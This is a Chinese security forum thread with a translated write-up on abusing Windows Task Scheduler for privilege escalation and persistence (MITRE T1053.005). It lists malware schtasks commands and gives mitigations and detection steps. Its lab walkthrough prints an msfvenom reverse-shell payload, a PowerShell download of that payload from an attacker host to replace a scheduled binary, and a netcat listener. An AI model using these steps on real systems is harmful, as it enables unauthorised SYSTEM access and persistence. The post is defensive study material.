飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 4123|回复: 7

[攻击方法] [原创][翻译]Windws提权:任务计划程序

  [复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2021-12-24 17:24:47 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2022-10-22 13:55 编辑

    备注
    在网络攻击中往往涉及到提权技术,为更好的防御与溯源,故总结现有技术文章进行分享,欢迎共同讨论。
    涉及文章:
    https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
    https://attack.mitre.org/techniques/T1053/005/
    https://www.hackingarticles.in/w ... task-job-t1573-005/
    https://qastack.cn/programming/11013132/how-can-i-enable-the-windows-server-task-scheduler-history-recording
    原理
    攻击者可能会滥用Windows任务计划程序来执行任务计划,以初始或重复执行恶意代码。有多种方法可以访问Windows中的任务计划程序。schtasks可以直接在命令行上运行,也可以通过控制面板的Administrator Tools部分中的GUI打开Task Scheduler。在某些情况下,攻击者使用了一种策略。NET包装器,或者攻击者使用Windows netapi32库创建计划任务。
    不推荐使用的at实用程序也可能被对手滥用(例如:At (Windows)),尽管at.exe不能访问用schtasks或控制面板创建的任务。
    攻击者可以利用Windows任务计划程序在系统启动时或按计划执行程序,以达到持久性。Windows任务安排程序也可以被滥用来进行远程执行,作为横向移动的一部分,或者在指定账户(如SYSTEM)的背景下运行一个进程。

    • 任务计划程序功能描述:
    • 任务计划程序使你能够在选定的计算机上自动执行常规任务。任务计划程序通过监控你选择的任何标准(被称为触发器),然后在满足这些标准时执行任务。
    • 你可以使用任务计划程序来执行任务,如启动一个应用程序,发送一个电子邮件,或显示一个消息框。任务可以被安排为响应这些事件,或触发器而执行。
    • 配置不当:
    • 攻击者可以通过滥用通过任务计划程序自动运行的任何脚本、程序或服务来执行执行、持久化或权限提升。





    相关程序示例

    ID
    名称
    描述
    S0331Agent Tesla
    Agent Tesla 通过计划任务实现了持久性.[1]
    S0504Anchor
    可以为持久性创建计划任务.[2]
    S0584AppleJeus
    AppleJeus 创建了一个预定的SYSTEM任务,当一个用户登录时运行。.[3]
    G0099APT-C-36
    APT-C-36 使用了一个宏功能来设置预定任务,伪装成谷歌使用的任务。.[4]
    G0016APT29
    APT29 使用并在远程主机上创建新的任务,作为横向移动的一部分.schedulerschtasks[5] 他们通过更新现有的合法任务来操纵计划任务,以执行他们的工具,然后将计划任务恢复到原来的配置。.[6] APT29 还创建了一个计划任务,以便在2020年SolarWinds入侵期间主机启动时维持SUNSPOT的持久性.[7] 他们以前使用命名和劫持的计划任务,也是为了建立持久性.[8]
    G0022APT3
    APT3 下载器通过创建以下计划任务来创建持久性: .schtasks /create /tn "mysc" /tr C:\Users\Public\test.exe /sc ONLOGON /ru "System"[9]
    G0050APT32
    APT32 已经使用计划任务在受害者系统上持续存在。[10][11][12][13]
    G0064APT33
    APT33 已经创建了一个计划任务,每天多次执行一个.vbe文件.[14]
    G0067APT37
    APT37 创建了计划任务,在被攻击的主机上运行恶意的脚本。[15]
    G0082APT38
    APT38 已使用任务计划器在系统启动时或按计划运行程序,以实现持久性。[16]
    G0087APT39
    APT39 已经为持久性创建了计划任务。[17][18][19]
    G0096APT41
    APT41 使用一个被泄露的账户在一个系统上创建一个计划任务。[20][21]
    S0438Attor
    Attor's 安装程序插件可以安排一个新任务,在启动/登录时加载计划程序。[22]
    S0414BabyShark
    BabyShark 已经使用预定任务来维持持久性。[21]
    S0475BackConfig
    BackConfig 有能力使用预定任务在被攻击的主机上重复执行恶意payload。[23]
    S0606Bad Rabbit
    Bad Rabbit’该文件创建了一个计划任务来启动一个恶意的可执行文件infpub.dat。[24]
    S0128BADNEWS
    BADNEWS 创建一个计划任务,通过每隔一分钟执行一个恶意的有效载荷来建立。[25]
    S0534Bazar
    Bazar 可以为持久化创建一个计划任务。[26][27]
    G0108Blue Mockingbird
    Blue Mockingbird 已使用Windows计划任务在本地和远程主机上建立持久性。[28]
    S0360BONDUPDATER
    BONDUPDATER 使用一个每分钟执行一次的计划任务来持续进行。[29]
    G0060BRONZE BUTLER
    BRONZE BUTLER 曾使用schtasks 来注册一个计划任务,在横向移动过程中执行恶意软件。[30]
    S0335Carbon
    Carbon 创建几个任务供以后执行,以继续在受害者的机器上持久存在。[31]
    G0114Chimera
    Chimera 已经使用计划任务来调用Cobalt Strike,包括通过批处理脚本和维护持久性。schtasks /create /ru "SYSTEM" /tn "update" /tr "cmd /c c:\windows\temp\update.bat" /sc once /f /st[32][33]
    G0080Cobalt Group
    Cobalt Group 已经创建了Windows任务来建立持久性。[34]
    S0126ComRAT
    ComRAT 使用了一个计划任务来启动其PowerShell加载器。[35][36]
    S0050CosmicDuke
    CosmicDuke 使用通常被命名为 "Watchmon服务 "的计划任务来实现持久性.[37]
    G0132CostaRicto
    CostaRicto 已使用计划任务下载后门工具.[38]
    S0046CozyCar
    CozyCar 使用的一个持久性机制是将自己注册为一个计划任务.[39]
    S0538Crutch
    Crutch 有能力使用预定的任务来持续进行.[40]
    S0527CSPY Downloader
    CSPY Downloader 可以使用 schtasks 工具来绕过 UAC.[41]
    G0074Dragonfly 2.0
    Dragonfly 2.0 使用预定任务,每8小时自动注销创建的账户,以及执行恶意文件。[42][43]
    S0038Duqu
    Duqu 通过将自己复制到它所列举的、它已获得合法凭证(通过键盘记录或其他手段)的共享上进行横向传播。然后,远程主机被感染,方法是使用被破坏的凭证在远程机器上安排一个任务,执行恶意软件。.[44]
    S0024Dyre
    Dyre 有能力通过在任务计划程序中添加一个新任务来实现持久性,每分钟运行一次。[45]
    S0367Emotet
    Emotet 通过一个预定任务保持了持久性。 [46]
    S0363Empire
    Empire 拥有与Windows任务计划程序互动的模块。[47]
    S0396EvilBunny
    EvilBunny 曾使用计划任务执行命令。[48]
    G0051FIN10
    FIN10 已经通过使用S4U任务以及PowerShell Empire中的Scheduled Task选项建立了持久性。[49][47]
    G0037FIN6
    FIN6 它使用计划任务为其使用的各种恶意软件建立持久性,包括被称为HARDTACK和SHIPBREAD的下载器和 FrameworkPOS.[50]
    G0046FIN7
    FIN7 恶意软件已经创建了计划任务,以建立持久性。[51][52][53][54]
    G0061FIN8
    FIN8 曾使用计划任务来维护RDP后门。[55]
    G0117Fox Kitten
    Fox Kitten 使用调度任务来实现持久性,并加载和执行一个反向代理二进制.[56][57]
    G0101Frankenstein
    Frankenstein 作为通过一个计划任务建立的持久性,使用命令: , named "WinUpdate". /Create /F /SC DAILY /ST 09:00 /TN WinUpdate /TR [58]
    G0093GALLIUM
    GALLIUM 通过创建一个计划任务。建立了持久性的 PoisonIvy [59]
    G0047Gamaredon Group
    Gamaredon Group 创建了一个计划任务,每10分钟启动一个可执行文件.[60]
    S0168Gazer
    Gazer 可以通过创建一个计划任务来建立持久性.[61][62]
    S0588GoldMax
    GoldMax 已使用计划任务来保持持久性.[63]
    S0477Goopy
    Goopy 有能力通过创建设置为每小时运行的计划任务来保持持久性.[12]
    S0237GravityRAT
    GravityRAT 创建一个计划任务,确保每天重新执行.[64]
    S0417GRIFFON
    GRIFFON 曾用于持久性 sctasks[65]
    S0632GrimAgent
    GrimAgent 有能力使用任务调度器来设置持久性。[66]
    S0170Helminth
    Helminth 已经使用了一个预定任务来实现持久化。[67]
    G0126Higaisa
    Higaisa 删除并添加到计划任务中.officeupdate.exe[68][69]
    S0431HotCroissant
    HotCroissant 试图在启动时安装一个名为 "Java Maintenance64 "的计划任务以建立持久性。[70]
    S0483IcedID
    IcedID 已经创建了一个计划任务,每小时执行一次,以建立持久性。[71]
    S0260InvisiMole
    InvisiMole 已使用预定任务命名并建立持久性.MSST\Microsoft\Windows\Autochk\Scheduled[72]
    S0581IronNetInjector
    IronNetInjector 已经使用了一个任务XML文件,命名为在用户登录时或特定系统事件产生时运行IronPython脚本.mssch.xml[73]
    S0189ISMInjector
    ISMInjector 创建计划任务以建立持久性。[74]
    S0044JHUHUGIT
    JHUHUGIT 已将自己注册为一个计划任务,在当前用户每次登录时运行。[75][76]
    S0648JSS Loader
    JSS Loader 有能力启动计划任务以建立持久性。[77]
    S0447Lokibot
    Lokibot 在批处理脚本中嵌入这些命令.schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I[78]
    S0532Lucifer
    Lucifer 已经通过创建以下计划任务建立了持久性 .schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\%USERPROFILE%\Downloads\spread.exe /F[79]
    S0409Machete
    Machete 的不同组件是由Windows任务调度器执行的。[80][81]
    G0095Machete
    Machete 已经创建了计划任务来维护 Machete'的持久性。[82]
    S0167Matryoshka
    Matryoshka 可以通过添加一个名为 "Microsoft Boost Kernel Optimization "的计划任务来建立持久性。[83][84]
    S0449Maze
    Maze 已经创建了使用 "Windows Update Security"、"Windows Update Security Patches "和 "Google Chrome Security Update "等名称变体的计划任务,以便在特定时间启动 Maze [85]
    S0500MCMD
    MCMD 可以使用计划任务来实现持久化。[86]
    G0045menuPass
    menuPass 已使用一个脚本(atexec.py)通过任务调度器在目标机上执行一个命令。[87]
    G0021Molerats
    Molerats 已经创建了计划任务来持续运行VBS脚本。[88]
    G0069MuddyWater
    MuddyWater 已经使用计划任务来建立持久性。[89]
    G0129Mustang Panda
    Mustang Panda 已经创建了一个计划任务来执行额外的恶意软件,并保持持久性。[90][91][92]
    G0019Naikon
    Naikon 在被攻击的网络中使用schtasks.exe进行横向移动。[93]
    S0198NETWIRE
    NETWIRE 可以创建一个计划任务来建立持久性。[94]
    S0368NotPetya
    NotPetya 创建一个任务,在感染后一小时内重新启动系统。.[95]
    G0049OilRig
    OilRig 已经创建了计划任务,运行VBScript,在受害者机器上执行payload。[96][97][98][99]
    S0439Okrum
    Okrum's 安装程序可以尝试通过创建一个计划任务来实现持久性。[100]
    S0264OopsIE
    OopsIE 创建一个计划任务,每三分钟运行一次。[96][101]
    G0116Operation Wocao
    Operation Wocao 利用计划任务在远程系统上执行恶意的PowerShell代码。[102]
    G0040Patchwork
    A Patchwork 文件窃取者可以运行一个TaskScheduler DLL来增加持久性.[103]
    S0194PowerSploit
    PowerSploit's 持久性参数可以通过 Scheduled Task/Job.建立新用户持久性选项[104][105]
    S0223POWERSTATS
    POWERSTATS 已经通过使用命令的计划任务建立了持久性。 ."C:\Windows\system32\schtasks.exe" /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR "c:\Windows\system32\wscript.exe C:\Windows\temp\Windows.vbe"[106]
    S0184POWRUNER
    POWRUNER 通过每分钟执行一次的计划任务来持续进行。[107]
    S0147Pteranodon
    Pteranodon 安排任务来调用其组件,以建立持久性。[108]
    S0650QakBot
    QakBot 有能力为持久性创建计划任务。[109][110][111][112][113][114][115][116]
    S0269QUADAGENT
    QUADAGENT 创建一个计划任务,在受害者的机器上保持持久性。[97]
    S0262QuasarRAT
    QuasarRAT 包含一个.NET包装DLL,用于创建和管理计划任务,以便在重启时维持持久性.[117]
    S0629RainyDay
    RainyDay 可以使用计划任务来实现持久性.[93]
    S0458Ramsay
    Ramsay 可以通过Windows COM API安排任务以保持持久性.[118]
    G0075Rancor
    Rancor 启动一个计划任务以获得持久性,使用的命令是.schtasks /create /sc[119]
    S0375Remexi
    Remexi 利用计划任务作为一种持久性机制。[120]
    S0166RemoteCMD
    RemoteCMD 可以通过在远程系统上创建一个新的计划任务来远程执行命令。[121]
    S0379Revenge RAT
    Revenge RAT 安排任务,在不同时间段运行恶意脚本。[122]
    S0148RTM
    RTM 试图添加一个计划任务来建立持久性。[123][124]
    S0446Ryuk
    Ryuk 可以远程创建一个计划任务,在系统上自行执行[125]
    S0111schtasks
    schtasks 用来安排Windows系统上的任务在特定的日期和时间运行。.[126]
    S0382ServHelper
    ServHelper 包含的模块将使用schtasks 进行恶意的操作.[127]
    S0140Shamoon
    Shamoon 通过使用以下方法将可执行有效载荷复制到目标系统上 SMB/Windows Admin Shares 然后调度一个未命名的任务来执行该恶意软件.[128][129]
    S0546SharpStage
    SharpStage 有一个持久性组件,为payload编写一个预定任务。[130]
    S0589Sibot
    Sibot 已经通过一个计划任务执行。[63]
    G0091Silence
    Silence 已使用计划任务来安排其操作。[131]
    S0226Smoke Loader
    Smoke Loader 启动一个计划任务。[132]
    S0516SoreFang
    SoreFang 可以通过使用计划任务获得持久性。[133]
    S0390SQLRat
    SQLRat 中创建了计划任务。 .%appdata%\Roaming\Microsoft\Templates\[54]
    G0038Stealth Falcon
    Stealth Falcon 恶意软件创建了一个名为 "IE Web Cache"的计划任务 每小时执行一个恶意文件。[134]
    S0603Stuxnet
    Stuxnet 安排一个网络工作,在主机感染后两分钟执行。[135]
    G0088TEMP.Veles
    TEMP.Veles 曾使用了预定任务的XML触发器。[136]
    S0266TrickBot
    TrickBot 在系统上创建一个计划任务,提供持久性。[137][138][139]
    S0476Valak
    Valak它使用预定任务来执行额外的payload并在被攻击的主机上获得持久性。[140][141][142]
    G0102Wizard Spider
    Wizard Spider has used scheduled tasks establish persistence for TrickBot and other malware.[143][144][145][146]
    S0248yty
    yty 通过用命令创建一个计划任务来建立持久性。 .SchTasks /Create /SC DAILY /TN BigData /TR " + path_file + "/ST 09:30"[147]
    S0251Zebrocy
    Zebrocy 有一个命令,用于创建持久性的计划任务。[148]
    S0350zwShell
    zwShell 已使用SchTasks进行执行。[149]
    缓解措施

    [td]
    ID
    缓解
    描述
    M1047审计
    像PowerSploit框架这样的工具包包含PowerUp模块,可用于探索系统中可用于提升权限的计划任务的权限弱点。 [150]
    M1028操作系统配置
    配置计划任务的设置,强制任务在认证账户的环境下运行,而不是允许它们以SYSTEM的身份运行。相关的注册表键位于 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl. 该设置可以通过以下方式进行配置 GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: 允许服务器操作员安排任务,设置为禁用. [151]
    M1026特权账户管理
    配置 "提高计划优先级 "选项,只允许管理员组有计划优先级进程的权利。这可以通过以下方式进行配置 GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. [152]
    M1018用户账户管理
    限制用户账户的权限,补救权限升级的载体,以便只有授权的管理员可以在远程系统上创建计划任务。
    模拟测试
    从程序菜单内运行任务计划程序。
    步骤1:浏览任务计划程序库以创建任务。
    步骤2:为登录的用户分配一个任务,以最高权限执行。

    步骤3:选择 "触发器 "选项来启动一个预定任务/工作。
    步骤4:在这里,我们已经安排了任务的复发发生。
    步骤5:当你创建一个任务时,你必须指定任务开始时将发生的操作。
    步骤6:指定一个计划任务要执行的行动类型。例如,通过一些可执行程序安排系统的备份。
    下面的示例目录为:Imp Jobs
    步骤7:这样,计划任务将在每天的特定时间被触发,以进行备份或计划工作,定义为操作。
    步骤8:攻击者可以通过利用计划任务/作业来提升权限。有了初步的立足点后,我们可以查询以获取计划任务的列表。
    schtasks /query /fo LIST /V
    英文:
    中文:
    这有助于攻击者了解哪个应用程序在什么时间连接执行。
    为了获得一个作为NT权限SYSTEM的反向外壳,让我们创建一个恶意的exe文件,通过计划任务执行。 使用Msfvenom,我们已经创建了一个被注入目标系统的exe文件。
    • msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe
    为了滥用计划的任务,攻击者要么通过覆盖来修改应用程序,要么用副本替换原始文件。为了在同一个目录中插入一个重复的文件,我们将原始文件重命名为file.bak。
    然后在wget命令的帮助下在同一个目录下下载了恶意的file.exe
    • powershell wget 192.168.1.3/shell.exe –o file.exe
    一旦重复的file.exe被注入到同一目录中,那么,file.exe将通过任务计划程序自动执行。由于攻击者确保netcat监听器必须处于监听模式,以获得特权shell的反向连接。
    • nc -lvp 8888
    • whoami /priv



    检测
    • Sysinternals Autoruns等工具可以检测系统的变化,如显示目前预定的工作。
    • 像TCPView & Process Explore这样的工具可以帮助识别可疑服务或进程的远程连接。
    • 查看任务属性和历史。通过使用命令行来查看任务的属性和历史记录

    • Schtasks /Query /FO LIST /V


    • 启用事件日志服务内的 "Microsoft-Windows-TaskScheduler/Operational "配置,以报告计划任务的创建和更新。

      • Task Scheduler应用程序中的调整实际上仅控制某个事件日志的启用状态,因此您可以通过Windows命令行等效地调整Task Scheduler的“历史记录”模式:
      • wevtutil set-log Microsoft-Windows-TaskScheduler/Operational /enabled:true
      • 要检查当前状态:
      • wevtutil get-log Microsoft-Windows-TaskScheduler/Operational
      • 对于不喜欢按键的操作,以下是上述内容的略微缩写形式:
      • wevtutil sl Microsoft-Windows-TaskScheduler/Operational /e:true
      • wevtutil gl Microsoft-Windows-TaskScheduler/Operational


      示例图
    测试监控

    连接时数据

    相关协议

    执行命令

    exit退出断开连接


    评分

    参与人数 2威望 +2 飘云币 +2 收起 理由
    Randolph + 1 + 1 PYG有你更精彩!
    zhczf + 1 + 1 PYG有你更精彩!

    查看全部评分

    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2023-10-27 18:23
  • 签到天数: 230 天

    [LV.7]常住居民III

    发表于 2021-12-25 14:11:06 | 显示全部楼层
    虽然看不懂,但是觉得很高大上
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2024-1-29 11:22
  • 签到天数: 232 天

    [LV.7]常住居民III

    发表于 2021-12-28 10:17:26 | 显示全部楼层
    谢谢分享,支持
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-5-13 15:34
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2021-12-28 15:24:42 | 显示全部楼层
    虽然没看懂,但还是感谢楼主的无私分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    3 天前
  • 签到天数: 485 天

    [LV.9]以坛为家II

    发表于 2021-12-30 22:24:46 | 显示全部楼层
    楼主辛苦了,感谢分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    1 小时前
  • 签到天数: 947 天

    [LV.10]以坛为家III

    发表于 2021-12-31 08:46:13 | 显示全部楼层
            PYG有你更精彩!
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-3-28 14:59
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2022-1-3 02:59:34 | 显示全部楼层
    666666666666 学到了 学到了
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2022-1-22 22:43
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2022-1-22 22:42:43 | 显示全部楼层
    学到了,在提权中很有用
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表